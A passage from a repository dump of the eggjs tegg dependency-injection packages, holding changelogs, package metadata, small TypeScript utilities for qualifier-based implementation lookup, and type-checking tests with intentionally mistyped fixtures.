(2024-04-28)\n\n**Note:** Version bump only for package @eggjs/tegg-dynamic-inject\n\n\n\n\n\n# [3.39.0](https://github.com/eggjs/tegg/compare/v3.38.0...v3.39.0) (2024-04-19)\n\n**Note:** Version bump only for package @eggjs/tegg-dynamic-inject\n\n\n\n\n\n# [3.38.0](https://github.com/eggjs/tegg/compare/v3.37.3...v3.38.0) (2024-04-18)\n\n**Note:** Version bump only for package @eggjs/tegg-dynamic-inject\n\n\n\n\n\n## [3.37.3](https://github.com/eggjs/tegg/compare/v3.37.2...v3.37.3) (2024-04-17)\n\n**Note:** Version bump only for package @eggjs/tegg-dynamic-inject\n\n\n\n\n\n## [3.37.2](https://github.com/eggjs/tegg/compare/v3.37.1...v3.37.2) (2024-04-17)\n\n**Note:** Version bump only for package @eggjs/tegg-dynamic-inject\n\n\n\n\n\n## [3.37.1](https://github.com/eggjs/tegg/compare/v3.37.0...v3.37.1) (2024-04-16)\n\n**Note:** Version bump only for package @eggjs/tegg-dynamic-inject\n\n\n\n\n\n# [3.37.0](https://github.com/eggjs/tegg/compare/v3.36.3...v3.37.0) (2024-04-16)\n\n**Note:** Version bump only for package @eggjs/tegg-dynamic-inject\n\n\n\n\n\n## [3.36.3](https://github.com/eggjs/tegg/compare/v3.36.2...v3.36.3) (2024-04-10)\n\n**Note:** Version bump only for package @eggjs/tegg-dynamic-inject\n\n\n\n\n\n## [3.36.2](https://github.com/eggjs/tegg/compare/v3.36.1...v3.36.2) (2024-04-08)\n\n**Note:** Version bump only for package @eggjs/tegg-dynamic-inject\n\n\n\n\n\n## [3.36.1](https://github.com/eggjs/tegg/compare/v3.36.0...v3.36.1) (2024-04-07)\n\n**Note:** Version bump only for package @eggjs/tegg-dynamic-inject\n\n\n\n\n\n# [3.36.0](https://github.com/eggjs/tegg/compare/v3.35.1...v3.36.0) (2024-04-02)\n\n**Note:** Version bump only for package @eggjs/tegg-dynamic-inject\n\n\n\n\n\n## [3.35.1](https://github.com/eggjs/tegg/compare/v3.35.0...v3.35.1) (2024-03-26)\n\n**Note:** Version bump only for package @eggjs/tegg-dynamic-inject\n\n\n\n\n\n# [3.35.0](https://github.com/eggjs/tegg/compare/v3.34.0...v3.35.0) (2024-03-26)\n\n**Note:** Version bump only for package @eggjs/tegg-dynamic-inject\n\n\n\n\n\n# [3.34.0](https://github.com/eggjs/tegg/compare/v3.33.1...v3.34.0) (2024-03-22)\n\n**Note:** Version bump only for package @eggjs/tegg-dynamic-inject\n\n\n\n\n\n## [3.33.1](https://github.com/eggjs/tegg/compare/v3.33.0...v3.33.1) (2024-03-22)\n\n**Note:** Version bump only for package @eggjs/tegg-dynamic-inject\n\n\n\n\n\n# [3.33.0](https://github.com/eggjs/tegg/compare/v3.32.0...v3.33.0) (2024-03-22)\n\n**Note:** Version bump only for package @eggjs/tegg-dynamic-inject\n\n\n\n\n\n# [3.32.0](https://github.com/eggjs/tegg/compare/v3.31.0...v3.32.0) (2024-02-19)\n\n**Note:** Version bump only for package @eggjs/tegg-dynamic-inject\n\n\n\n\n\n# [3.31.0](https://github.com/eggjs/tegg/compare/v3.30.1...v3.31.0) (2024-01-31)\n\n\n### Features\n\n* add getEggObjects API to fetch all instances ([#189](https://github.com/eggjs/tegg/issues/189)) ([f8592c2](https://github.com/eggjs/tegg/commit/f8592c2cd141d01b4f1730b1e3d66e35c3e1ce05))\n\n\n\n\n\n## [3.30.1](https://github.com/eggjs/tegg/compare/v3.30.0...v3.30.1) (2024-01-25)\n\n**Note:** Version bump only for package @eggjs/tegg-dynamic-inject\n\n\n\n\n\n# [3.30.0](https://github.com/eggjs/tegg/compare/v3.29.0...v3.30.0) (2024-01-17)\n\n**Note:** Version bump only for package @eggjs/tegg-dynamic-inject\n\n\n\n\n\n# [3.29.0](https://github.com/eggjs/tegg/compare/v3.28.2...v3.29.0) (2023-12-26)\n\n**Note:** Version bump only for package @eggjs/tegg-dynamic-inject\n\n\n\n\n\n## [3.28.2](https://github.com/eggjs/tegg/compare/v3.28.1...v3.28.2) (2023-12-12)\n\n**Note:** Version bump only for package @eggjs/tegg-dynamic-inject\n\n\n\n\n\n## [3.28.1](https://github.com/eggjs/tegg/compare/v3.28.0...v3.28.1) (2023-12-11)\n\n**Note:** Version bump only for package @eggjs/tegg-dynamic-inject\n\n\n\n\n\n# [3.28.0](https://github.com/eggjs/tegg/compare/v3.27.0...v3.28.0) (2023-12-10)\n\n**Note:** Version bump only for package @eggjs/tegg-dynamic-inject\n\n\n\n\n\n# [3.27.0](https://github.com/eggjs/tegg/compare/v3.26.0...v3.27.0) (2023-11-23)\n\n**Note:** Version bump only for package @eggjs/tegg-dynamic-inject\n\n\n\n\n\n## [3.25.2](https://github.com/eggjs/tegg/compare/v3.25.1...v3.25.2) (2023-11-06)\n\n**Note:** Version bump only for package @eggjs/tegg-dynamic-inject\n\n\n\n\n\n## [3.25.1](https://github.com/eggjs/tegg/compare/v3.25.0...v3.25.1) (2023-11-03)\n\n**Note:** Version bump only for package @eggjs/tegg-dynamic-inject\n\n\n\n\n\n# [3.25.0](https://github.com/eggjs/tegg/compare/v3.24.0...v3.25.0) (2023-11-03)\n\n**Note:** Version bump only for package @eggjs/tegg-dynamic-inject\n\n\n\n\n\n# [3.24.0](https://github.com/eggjs/tegg/compare/v3.23.0...v3.24.0) (2023-10-26)\n\n**Note:** Version bump only for package @eggjs/tegg-dynamic-inject\n\n\n\n\n\n# [3.23.0](https://github.com/eggjs/tegg/compare/v3.22.0...v3.23.0) (2023-09-20)\n\n**Note:** Version bump only for package @eggjs/tegg-dynamic-inject\n\n\n\n\n\n# [3.20.0](https://github.com/eggjs/tegg/compare/v3.19.0...v3.20.0) (2023-09-07)\n\n**Note:** Version bump only for package @eggjs/tegg-dynamic-inject\n\n\n\n\n\n# [3.19.0](https://github.com/eggjs/tegg/compare/v3.18.1...v3.19.0) (2023-08-31)\n\n**Note:** Version bump only for package @eggjs/tegg-dynamic-inject\n\n\n\n\n\n## [3.18.1](https://github.com/eggjs/tegg/compare/v3.18.0...v3.18.1) (2023-08-29)\n\n**Note:** Version bump only for package @eggjs/tegg-dynamic-inject\n\n\n\n\n\n# [3.18.0](https://github.com/eggjs/tegg/compare/v3.17.0...v3.18.0) (2023-08-29)\n\n**Note:** Version bump only for package @eggjs/tegg-dynamic-inject\n\n\n\n\n\n# [3.17.0](https://github.com/eggjs/tegg/compare/v3.16.0...v3.17.0) (2023-08-24)\n\n**Note:** Version bump only for package @eggjs/tegg-dynamic-inject\n\n\n\n\n\n# [3.16.0](https://github.com/eggjs/tegg/compare/v3.15.0...v3.16.0) (2023-08-24)\n\n**Note:** Version bump only for package @eggjs/tegg-dynamic-inject\n\n\n\n\n\n## [3.14.3](https://github.com/eggjs/tegg/compare/v3.14.2...v3.14.3) (2023-08-14)\n\n**Note:** Version bump only for package @eggjs/tegg-dynamic-inject\n\n\n\n\n\n## [3.14.2](https://github.com/eggjs/tegg/compare/v3.14.1...v3.14.2) (2023-08-14)\n\n**Note:** Version bump only for package @eggjs/tegg-dynamic-inject\n\n\n\n\n\n## [3.14.1](https://github.com/eggjs/tegg/compare/v3.14.0...v3.14.1) (2023-08-11)\n\n**Note:** Version bump only for package @eggjs/tegg-dynamic-inject\n\n\n\n\n\n# [3.14.0](https://github.com/eggjs/tegg/compare/v3.13.0...v3.14.0) (2023-07-31)\n\n**Note:** Version bump only for package @eggjs/tegg-dynamic-inject\n\n\n\n\n\n# [3.13.0](https://github.com/eggjs/tegg/compare/v3.12.0...v3.13.0) (2023-07-25)\n\n**Note:** Version bump only for package @eggjs/tegg-dynamic-inject\n\n\n\n\n\n# [3.12.0](https://github.com/eggjs/tegg/compare/v3.11.1...v3.12.0) (2023-07-13)\n\n**Note:** Version bump only for package @eggjs/tegg-dynamic-inject\n\n\n\n\n\n## [3.11.1](https://github.com/eggjs/tegg/compare/v3.11.0...v3.11.1) (2023-06-29)\n\n**Note:** Version bump only for package @eggjs/tegg-dynamic-inject\n\n\n\n\n\n# [3.11.0](https://github.com/eggjs/tegg/compare/v3.10.0...v3.11.0) (2023-06-29)\n\n**Note:** Version bump only for package @eggjs/tegg-dynamic-inject\n\n\n\n\n\n# [3.10.0](https://github.com/eggjs/tegg/compare/v3.9.0...v3.10.0) (2023-06-28)\n\n**Note:** Version bump only for package @eggjs/tegg-dynamic-inject\n\n\n\n\n\n# [3.8.0](https://github.com/eggjs/tegg/compare/v3.7.0...v3.8.0) (2023-05-30)\n\n\n### Features\n\n* impl EggObjectLifecycle hook in decorator ([#119](https://github.com/eggjs/tegg/issues/119)) ([cced8a2](https://github.com/eggjs/tegg/commit/cced8a2e009c33d5040fa21d00409fddef471b0e))\n\n\n\n\n\n# [3.7.0](https://github.com/eggjs/tegg/compare/v3.6.3...v3.7.0) (2023-04-03)\n\n**Note:** Version bump only for package @eggjs/tegg-dynamic-inject\n\n\n\n\n\n# [3.5.0](https://github.com/eggjs/tegg/compare/v3.4.1...v3.5.0) (2023-02-10)\n\n**Note:** Version bump only for package @eggjs/tegg-dynamic-inject\n\n\n\n\n\n## [3.2.3](https://github.com/eggjs/tegg/compare/v3.2.2...v3.2.3) (2023-01-16)\n\n**Note:** Version bump only for package @eggjs/tegg-dynamic-inject\n\n\n\n\n\n## [3.2.2](https://github.com/eggjs/tegg/compare/v3.2.1...v3.2.2) (2023-01-06)\n\n**Note:** Version bump only for package @eggjs/tegg-dynamic-inject\n\n\n\n\n\n# [3.1.0](https://github.com/eggjs/tegg/compare/v1.3.0...v3.1.0) (2022-12-27)\n\n\n### Features\n\n* **break:** use async local storage ([#69](https://github.com/eggjs/tegg/issues/69)) ([772aeb9](https://github.com/eggjs/tegg/commit/772aeb9412c6d7cd23560230b441161ba28ffa0e))\n\n\n\n\n\n# [3.0.0](https://github.com/eggjs/tegg/compare/v3.0.0-alpha.0...v3.0.0) (2022-12-26)\n\n**Note:** Version bump only for package @eggjs/tegg-dynamic-inject\n\n\n\n\n\n# [3.0.0-alpha.0](https://github.com/eggjs/tegg/compare/v1.3.0...v3.0.0-alpha.0) (2022-12-22)\n\n\n### Features\n\n* **break:** use async local storage ([#69](https://github.com/eggjs/tegg/issues/69)) ([772aeb9](https://github.com/eggjs/tegg/commit/772aeb9412c6d7cd23560230b441161ba28ffa0e))\n\n\n\n\n\n# [1.3.0](https://github.com/eggjs/tegg/compare/v1.2.0...v1.3.0) (2022-07-01)\n\n**Note:** Version bump only for package @eggjs/tegg-dynamic-inject\n\n\n\n\n\n# [0.2.0](https://github.com/eggjs/tegg/compare/v0.1.19...v0.2.0) (2022-01-20)\n\n**Note:** Version bump only for package @eggjs/tegg-dynamic-inject\n"
  },
  {
    "path": "tegg/core/dynamic-inject/README.md",
    "content": "# `@eggjs/dynamic-inject`\n\n[![NPM version][npm-image]][npm-url]\n[![Known Vulnerabilities][snyk-image]][snyk-url]\n[![npm download][download-image]][download-url]\n[![Node.js Version](https://img.shields.io/node/v/@eggjs/dynamic-inject.svg?style=flat)](https://nodejs.org/en/download/)\n\n[npm-image]: https://img.shields.io/npm/v/@eggjs/dynamic-inject.svg?style=flat-square\n[npm-url]: https://npmjs.org/package/@eggjs/dynamic-inject\n[snyk-image]: https://snyk.io/test/npm/@eggjs/dynamic-inject/badge.svg?style=flat-square\n[snyk-url]: https://snyk.io/test/npm/@eggjs/dynamic-inject\n[download-image]: https://img.shields.io/npm/dm/@eggjs/dynamic-inject.svg?style=flat-square\n[download-url]: https://npmjs.org/package/@eggjs/dynamic-inject\n\n## Usage\n\nThis is an internal tegg library, you probably shouldn't use it directly.\n"
  },
  {
    "path": "tegg/core/dynamic-inject/package.json",
    "content": "{\n  \"name\": \"@eggjs/dynamic-inject\",\n  \"version\": \"4.0.2-beta.5\",\n  \"description\": \"tegg dynamic inject decorator\",\n  \"keywords\": [\n    \"egg\",\n    \"runtime\",\n    \"tegg\",\n    \"typescript\"\n  ],\n  \"homepage\": \"https://github.com/eggjs/egg/tree/next/tegg/core/dynamic-inject\",\n  \"bugs\": {\n    \"url\": \"https://github.com/eggjs/egg/issues\"\n  },\n  \"license\": \"MIT\",\n  \"author\": \"killagu <killa123@126.com>\",\n  \"repository\": {\n    \"type\": \"git\",\n    \"url\": \"git+https://github.com/eggjs/egg.git\",\n    \"directory\": \"tegg/core/dynamic-inject\"\n  },\n  \"files\": [\n    \"dist\"\n  ],\n  \"type\": \"module\",\n  \"main\": \"./dist/index.js\",\n  \"module\": \"./dist/index.js\",\n  \"types\": \"./dist/index.d.ts\",\n  \"exports\": {\n    \".\": \"./src/index.ts\",\n    \"./package.json\": \"./package.json\"\n  },\n  \"publishConfig\": {\n    \"access\": \"public\",\n    \"exports\": {\n      \".\": \"./dist/index.js\",\n      \"./package.json\": \"./package.json\"\n    }\n  },\n  \"scripts\": {\n    \"typecheck\": \"tsgo --noEmit\"\n  },\n  \"dependencies\": {\n    \"@eggjs/core-decorator\": \"workspace:*\",\n    \"@eggjs/tegg-types\": \"workspace:*\"\n  },\n  \"devDependencies\": {\n    \"@types/node\": \"catalog:\",\n    \"coffee\": \"catalog:\",\n    \"typescript\": \"catalog:\"\n  },\n  \"engines\": {\n    \"node\": \">=22.18.0\"\n  }\n}\n"
  },
  {
    "path": "tegg/core/dynamic-inject/src/QualifierImplDecoratorUtil.ts",
    "content": "import { QualifierUtil } from '@eggjs/core-decorator';\nimport type {\n  EggAbstractClazz,\n  EggProtoImplClass,\n  ImplDecorator,\n  ImplTypeEnum,\n  QualifierAttribute,\n} from '@eggjs/tegg-types';\n\nimport { QualifierImplUtil } from './QualifierImplUtil.ts';\n\nexport class QualifierImplDecoratorUtil {\n  static generatorDecorator<T extends object, Enum extends ImplTypeEnum>(\n    abstractClazz: EggAbstractClazz<T>,\n    attribute: QualifierAttribute,\n  ): ImplDecorator<T, Enum> {\n    return function (type: Enum[keyof Enum]) {\n      return function (clazz: EggProtoImplClass<T>) {\n        QualifierImplUtil.addQualifierImpl(abstractClazz, type, clazz);\n        QualifierUtil.addProtoQualifier(clazz, attribute, type);\n      };\n    };\n  }\n}\n"
  },
  {
    "path": "tegg/core/dynamic-inject/src/QualifierImplUtil.ts",
    "content": "import { MetadataUtil } from '@eggjs/core-decorator';\nimport { QUALIFIER_IMPL_MAP } from '@eggjs/tegg-types';\nimport type { EggAbstractClazz, EggProtoImplClass, QualifierValue } from '@eggjs/tegg-types';\n\nexport class QualifierImplUtil {\n  static addQualifierImpl(\n    abstractClazz: EggAbstractClazz,\n    qualifierValue: QualifierValue,\n    implClazz: EggProtoImplClass,\n  ): void {\n    const implMap = MetadataUtil.initOwnMapMetaData(\n      QUALIFIER_IMPL_MAP,\n      abstractClazz as unknown as EggProtoImplClass,\n      new Map(),\n    );\n    implMap.set(qualifierValue, implClazz);\n  }\n\n  static getQualifierImp(\n    abstractClazz: EggAbstractClazz,\n    qualifierValue: QualifierValue,\n  ): EggProtoImplClass | undefined {\n    const implMap: Map<QualifierValue, EggProtoImplClass> | undefined = MetadataUtil.getMetaData(\n      QUALIFIER_IMPL_MAP,\n      abstractClazz as unknown as EggProtoImplClass,\n    );\n    return implMap?.get(qualifierValue);\n  }\n\n  static getQualifierImpMap(abstractClazz: EggAbstractClazz): Map<QualifierValue, EggProtoImplClass> {\n    const implMap: Map<QualifierValue, EggProtoImplClass> | undefined = MetadataUtil.getMetaData(\n      QUALIFIER_IMPL_MAP,\n      abstractClazz as unknown as EggProtoImplClass,\n    );\n    return implMap || new Map();\n  }\n}\n"
  },
  {
    "path": "tegg/core/dynamic-inject/src/index.ts",
    "content": "export * from '@eggjs/tegg-types/dynamic-inject';\n\nexport * from './QualifierImplUtil.ts';\nexport * from './QualifierImplDecoratorUtil.ts';\n"
  },
  {
    "path": "tegg/core/dynamic-inject/test/__snapshots__/index.test.ts.snap",
    "content": "// Vitest Snapshot v1, https://vitest.dev/guide/snapshot.html\n\nexports[`should export stable 1`] = `\n{\n  \"QUALIFIER_IMPL_MAP\": Symbol(EggPrototype#qualifierImplMap),\n  \"QualifierImplDecoratorUtil\": [Function],\n  \"QualifierImplUtil\": [Function],\n}\n`;\n"
  },
  {
    "path": "tegg/core/dynamic-inject/test/fixtures/modules/base/AbstractContextHello.ts",
    "content": "export abstract class AbstractContextHello {\n  abstract hello(): string;\n}\n"
  },
  {
    "path": "tegg/core/dynamic-inject/test/fixtures/modules/base/ContextHello.ts",
    "content": "import { ImplDecorator, QualifierImplDecoratorUtil } from '../../../../src/index.js';\nimport { AbstractContextHello } from './AbstractContextHello.js';\nimport { ContextHelloType } from './FooType.js';\n\nexport const CONTEXT_HELLO_ATTRIBUTE = 'CONTEXT_HELLO_ATTRIBUTE';\n\nexport const ContextHello: ImplDecorator<AbstractContextHello, typeof ContextHelloType> =\n  QualifierImplDecoratorUtil.generatorDecorator(AbstractContextHello, CONTEXT_HELLO_ATTRIBUTE);\n"
  },
  {
    "path": "tegg/core/dynamic-inject/test/fixtures/modules/base/FooType.ts",
    "content": "export enum ContextHelloType {\n  FOO = 'FOO',\n  BAR = 'BAR',\n}\n"
  },
  {
    "path": "tegg/core/dynamic-inject/test/fixtures/modules/wrong-enum-module/WrongEnumCase.ts",
    "content": "import { ContextProto } from '@eggjs/core-decorator';\n\nimport { AbstractContextHello } from '../base/AbstractContextHello.js';\nimport { ContextHello } from '../base/ContextHello.js';\n\n@ContextProto()\n@ContextHello('WRONG_ENUM')\nexport class BarContextHello extends AbstractContextHello {\n  id = 0;\n\n  hello(): string {\n    return `hello, bar(context:${this.id++})`;\n  }\n}\n"
  },
  {
    "path": "tegg/core/dynamic-inject/test/fixtures/modules/wrong-enum-module/tsconfig.json",
    "content": "{\n  \"extends\": \"../../../../tsconfig.json\",\n  \"compilerOptions\": {\n    \"rootDir\": \"./\"\n  },\n  \"exclude\": [\"./dist\", \"node_modules\"]\n}\n"
  },
  {
    "path": "tegg/core/dynamic-inject/test/fixtures/modules/wrong-extends-module/WrongExtendsCase.ts",
    "content": "import { ContextProto } from '@eggjs/core-decorator';\n\nimport { ContextHello } from '../base/ContextHello.js';\nimport { ContextHelloType } from '../base/FooType.js';\n\n@ContextProto()\n@ContextHello(ContextHelloType.FOO)\nexport class BarContextHello {\n  id = 0;\n\n  helloWrong(): string {\n    return `hello, bar(context:${this.id++})`;\n  }\n}\n"
  },
  {
    "path": "tegg/core/dynamic-inject/test/fixtures/modules/wrong-extends-module/tsconfig.json",
    "content": "{\n  \"extends\": \"../../../../tsconfig.json\",\n  \"compilerOptions\": {\n    \"rootDir\": \"./\"\n  },\n  \"exclude\": [\"./dist\", \"node_modules\"]\n}\n"
  },
  {
    "path": "tegg/core/dynamic-inject/test/index.test.ts",
    "content": "import { expect, it } from 'vitest';\n\nimport * as types from '../src/index.js';\n\nit('should export stable', async () => {\n  expect(types).toMatchSnapshot();\n});\n"
  },
  {
    "path": "tegg/core/dynamic-inject/test/typing.test.ts",
    "content": "import path from 'node:path';\n\nimport coffee from 'coffee';\nimport { it } from 'vitest';\n\nit('should check enum value', async () => {\n  const tsc = require.resolve('typescript/bin/tsc');\n  await coffee\n    .fork(tsc, ['--noEmit', '-p', './tsconfig.json'], {\n      cwd: path.join(__dirname, 'fixtures/modules/wrong-enum-module'),\n    })\n    // .debug()\n    .expect('stdout', /Argument of type '\"WRONG_ENUM\"' is not assignable to parameter of type 'ContextHelloType'/)\n    .notExpect('code', 0)\n    .end();\n});\n\nit('should check extends', async () => {\n  const tsc = require.resolve('typescript/bin/tsc');\n  await coffee\n    .fork(tsc, ['--noEmit', '-p', './tsconfig.json'], {\n      cwd: path.join(__dirname, 'fixtures/modules/wrong-extends-module'),\n    })\n    // .debug()\n    .expect(\n      'stdout',\n      / Property 'hello' is missing in type 'BarContextHello' but required in type 'AbstractContextHello'/,\n    )\n    .notExpect('code', 0)\n    .end();\n});\n"
  },
  {
    "path": "tegg/core/dynamic-inject/tsconfig.json",
    "content": "{\n  \"extends\": \"../../../tsconfig.json\",\n  \"exclude\": [\"test/fixtures\", \"*.config.ts\"]\n}\n"
  },
  {
    "path": "tegg/core/dynamic-inject/tsdown.config.ts",
    "content": "import { defineConfig } from 'tsdown';\n\nexport default defineConfig({\n  entry: {\n    index: 'src/index.ts',\n  },\n});\n"
  },
  {
    "path": "tegg/core/dynamic-inject-runtime/CHANGELOG.md",
    "content": "# Changelog\n\n> [!IMPORTANT]\n> Moving forwards we are using the GitHub releases page at <https://github.com/eggjs/egg/releases> in combination with [release.yml](https://github.com/eggjs/egg/actions/workflows/release.yml) for publishing releases and their changelogs.\n\n---\n\n## 4.0.0+\n\n* drop Node.js < 22.18.0 support\n* only support egg@4\n\npart of https://github.com/eggjs/egg/issues/5434\n\n---\n\n\nAll notable changes to this project will be documented in this file.\nSee [Conventional Commits](https://conventionalcommits.org) for commit guidelines.\n\n# [4.0.0-beta.4](https://github.com/eggjs/tegg/compare/v4.0.0-beta.3...v4.0.0-beta.4) (2025-03-15)\n\n**Note:** Version bump only for package @eggjs/tegg-dynamic-inject-runtime\n\n\n\n\n\n# [4.0.0-beta.3](https://github.com/eggjs/tegg/compare/v4.0.0-beta.2...v4.0.0-beta.3) (2025-03-15)\n\n**Note:** Version bump only for package @eggjs/tegg-dynamic-inject-runtime\n\n\n\n\n\n# [4.0.0-beta.2](https://github.com/eggjs/tegg/compare/v4.0.0-beta.1...v4.0.0-beta.2) (2025-03-03)\n\n**Note:** Version bump only for package @eggjs/tegg-dynamic-inject-runtime\n\n\n\n\n\n# [4.0.0-beta.1](https://github.com/eggjs/tegg/compare/v3.52.0...v4.0.0-beta.1) (2025-03-02)\n\n\n### Features\n\n* **core/types:** change to esm ([#263](https://github.com/eggjs/tegg/issues/263)) ([6ee4dad](https://github.com/eggjs/tegg/commit/6ee4dadcee4b90541b4d3fcd37161ed63960c7bd))\n\n\n\n\n\n# [3.52.0](https://github.com/eggjs/tegg/compare/v3.51.2...v3.52.0) (2024-12-30)\n\n**Note:** Version bump only for package @eggjs/tegg-dynamic-inject-runtime\n\n\n\n\n\n## [3.51.2](https://github.com/eggjs/tegg/compare/v3.51.1...v3.51.2) (2024-12-09)\n\n**Note:** Version bump only for package @eggjs/tegg-dynamic-inject-runtime\n\n\n\n\n\n## [3.51.1](https://github.com/eggjs/tegg/compare/v3.51.0...v3.51.1) (2024-11-06)\n\n**Note:** Version bump only for package @eggjs/tegg-dynamic-inject-runtime\n\n\n\n\n\n# [3.51.0](https://github.com/eggjs/tegg/compare/v3.50.1...v3.51.0) (2024-10-30)\n\n**Note:** Version bump only for package @eggjs/tegg-dynamic-inject-runtime\n\n\n\n\n\n## [3.50.1](https://github.com/eggjs/tegg/compare/v3.50.0...v3.50.1) (2024-10-23)\n\n**Note:** Version bump only for package @eggjs/tegg-dynamic-inject-runtime\n\n\n\n\n\n# [3.50.0](https://github.com/eggjs/tegg/compare/v3.49.0...v3.50.0) (2024-10-22)\n\n**Note:** Version bump only for package @eggjs/tegg-dynamic-inject-runtime\n\n\n\n\n\n# [3.49.0](https://github.com/eggjs/tegg/compare/v3.48.1...v3.49.0) (2024-10-21)\n\n**Note:** Version bump only for package @eggjs/tegg-dynamic-inject-runtime\n\n\n\n\n\n## [3.48.1](https://github.com/eggjs/tegg/compare/v3.48.0...v3.48.1) (2024-10-14)\n\n\n### Bug Fixes\n\n* fix merge qualifier ([#250](https://github.com/eggjs/tegg/issues/250)) ([d5a8a93](https://github.com/eggjs/tegg/commit/d5a8a93abad570f69881f9fa42f39d7b5cd436be))\n\n\n\n\n\n# [3.48.0](https://github.com/eggjs/tegg/compare/v3.47.2...v3.48.0) (2024-10-10)\n\n**Note:** Version bump only for package @eggjs/tegg-dynamic-inject-runtime\n\n\n\n\n\n## [3.47.2](https://github.com/eggjs/tegg/compare/v3.47.1...v3.47.2) (2024-10-10)\n\n**Note:** Version bump only for package @eggjs/tegg-dynamic-inject-runtime\n\n\n\n\n\n## [3.47.1](https://github.com/eggjs/tegg/compare/v3.47.0...v3.47.1) (2024-10-10)\n\n**Note:** Version bump only for package @eggjs/tegg-dynamic-inject-runtime\n\n\n\n\n\n# [3.47.0](https://github.com/eggjs/tegg/compare/v3.46.4...v3.47.0) (2024-10-10)\n\n**Note:** Version bump only for package @eggjs/tegg-dynamic-inject-runtime\n\n\n\n\n\n## [3.46.4](https://github.com/eggjs/tegg/compare/v3.46.3...v3.46.4) (2024-10-09)\n\n**Note:** Version bump only for package @eggjs/tegg-dynamic-inject-runtime\n\n\n\n\n\n## [3.46.3](https://github.com/eggjs/tegg/compare/v3.46.2...v3.46.3) (2024-10-08)\n\n**Note:** Version bump only for package @eggjs/tegg-dynamic-inject-runtime\n\n\n\n\n\n## [3.46.2](https://github.com/eggjs/tegg/compare/v3.46.1...v3.46.2) (2024-10-07)\n\n**Note:** Version bump only for package @eggjs/tegg-dynamic-inject-runtime\n\n\n\n\n\n## [3.46.1](https://github.com/eggjs/tegg/compare/v3.46.0...v3.46.1) (2024-09-30)\n\n**Note:** Version bump only for package @eggjs/tegg-dynamic-inject-runtime\n\n\n\n\n\n# [3.46.0](https://github.com/eggjs/tegg/compare/v3.45.0...v3.46.0) (2024-09-29)\n\n**Note:** Version bump only for package @eggjs/tegg-dynamic-inject-runtime\n\n\n\n\n\n# [3.45.0](https://github.com/eggjs/tegg/compare/v3.44.1...v3.45.0) (2024-09-29)\n\n**Note:** Version bump only for package @eggjs/tegg-dynamic-inject-runtime\n\n\n\n\n\n## [3.44.1](https://github.com/eggjs/tegg/compare/v3.44.0...v3.44.1) (2024-09-29)\n\n**Note:** Version bump only for package @eggjs/tegg-dynamic-inject-runtime\n\n\n\n\n\n# [3.44.0](https://github.com/eggjs/tegg/compare/v3.43.2...v3.44.0) (2024-09-29)\n\n**Note:** Version bump only for package @eggjs/tegg-dynamic-inject-runtime\n\n\n\n\n\n## [3.43.2](https://github.com/eggjs/tegg/compare/v3.43.1...v3.43.2) (2024-09-14)\n\n**Note:** Version bump only for package @eggjs/tegg-dynamic-inject-runtime\n\n\n\n\n\n## [3.43.1](https://github.com/eggjs/tegg/compare/v3.43.0...v3.43.1) (2024-09-14)\n\n**Note:** Version bump only for package @eggjs/tegg-dynamic-inject-runtime\n\n\n\n\n\n# [3.43.0](https://github.com/eggjs/tegg/compare/v3.42.0...v3.43.0) (2024-09-13)\n\n**Note:** Version bump only for package @eggjs/tegg-dynamic-inject-runtime\n\n\n\n\n\n# [3.42.0](https://github.com/eggjs/tegg/compare/v3.41.0...v3.42.0) (2024-09-10)\n\n**Note:** Version bump only for package @eggjs/tegg-dynamic-inject-runtime\n\n\n\n\n\n# [3.41.0](https://github.com/eggjs/tegg/compare/v3.40.1...v3.41.0) (2024-08-26)\n\n**Note:** Version bump only for package @eggjs/tegg-dynamic-inject-runtime\n\n\n\n\n\n## [3.40.1](https://github.com/eggjs/tegg/compare/v3.40.0...v3.40.1) (2024-08-23)\n\n**Note:** Version bump only for package @eggjs/tegg-dynamic-inject-runtime\n\n\n\n\n\n# [3.40.0](https://github.com/eggjs/tegg/compare/v3.39.5...v3.40.0) (2024-08-22)\n\n**Note:** Version bump only for package @eggjs/tegg-dynamic-inject-runtime\n\n\n\n\n\n## [3.39.5](https://github.com/eggjs/tegg/compare/v3.39.4...v3.39.5) (2024-08-09)\n\n**Note:** Version bump only for package @eggjs/tegg-dynamic-inject-runtime\n\n\n\n\n\n## [3.39.4](https://github.com/eggjs/tegg/compare/v3.39.3...v3.39.4) (2024-07-09)\n\n**Note:** Version bump only for package @eggjs/tegg-dynamic-inject-runtime\n\n\n\n\n\n## [3.39.3](https://github.com/eggjs/tegg/compare/v3.39.2...v3.39.3) (2024-04-28)\n\n**Note:** Version bump only for package @eggjs/tegg-dynamic-inject-runtime\n\n\n\n\n\n## [3.39.2](https://github.com/eggjs/tegg/compare/v3.39.1...v3.39.2) (2024-04-28)\n\n**Note:** Version bump only for package @eggjs/tegg-dynamic-inject-runtime\n\n\n\n\n\n## [3.39.1](https://github.com/eggjs/tegg/compare/v3.39.0...v3.39.1) (2024-04-28)\n\n**Note:** Version bump only for package @eggjs/tegg-dynamic-inject-runtime\n\n\n\n\n\n# [3.39.0](https://github.com/eggjs/tegg/compare/v3.38.0...v3.39.0) (2024-04-19)\n\n**Note:** Version bump only for package @eggjs/tegg-dynamic-inject-runtime\n\n\n\n\n\n# [3.38.0](https://github.com/eggjs/tegg/compare/v3.37.3...v3.38.0) (2024-04-18)\n\n**Note:** Version bump only for package @eggjs/tegg-dynamic-inject-runtime\n\n\n\n\n\n## [3.37.3](https://github.com/eggjs/tegg/compare/v3.37.2...v3.37.3) (2024-04-17)\n\n**Note:** Version bump only for package @eggjs/tegg-dynamic-inject-runtime\n\n\n\n\n\n## [3.37.2](https://github.com/eggjs/tegg/compare/v3.37.1...v3.37.2) (2024-04-17)\n\n**Note:** Version bump only for package @eggjs/tegg-dynamic-inject-runtime\n\n\n\n\n\n## [3.37.1](https://github.com/eggjs/tegg/compare/v3.37.0...v3.37.1) (2024-04-16)\n\n**Note:** Version bump only for package @eggjs/tegg-dynamic-inject-runtime\n\n\n\n\n\n# [3.37.0](https://github.com/eggjs/tegg/compare/v3.36.3...v3.37.0) (2024-04-16)\n\n**Note:** Version bump only for package @eggjs/tegg-dynamic-inject-runtime\n\n\n\n\n\n## [3.36.3](https://github.com/eggjs/tegg/compare/v3.36.2...v3.36.3) (2024-04-10)\n\n**Note:** Version bump only for package @eggjs/tegg-dynamic-inject-runtime\n\n\n\n\n\n## [3.36.2](https://github.com/eggjs/tegg/compare/v3.36.1...v3.36.2) (2024-04-08)\n\n**Note:** Version bump only for package @eggjs/tegg-dynamic-inject-runtime\n\n\n\n\n\n## [3.36.1](https://github.com/eggjs/tegg/compare/v3.36.0...v3.36.1) 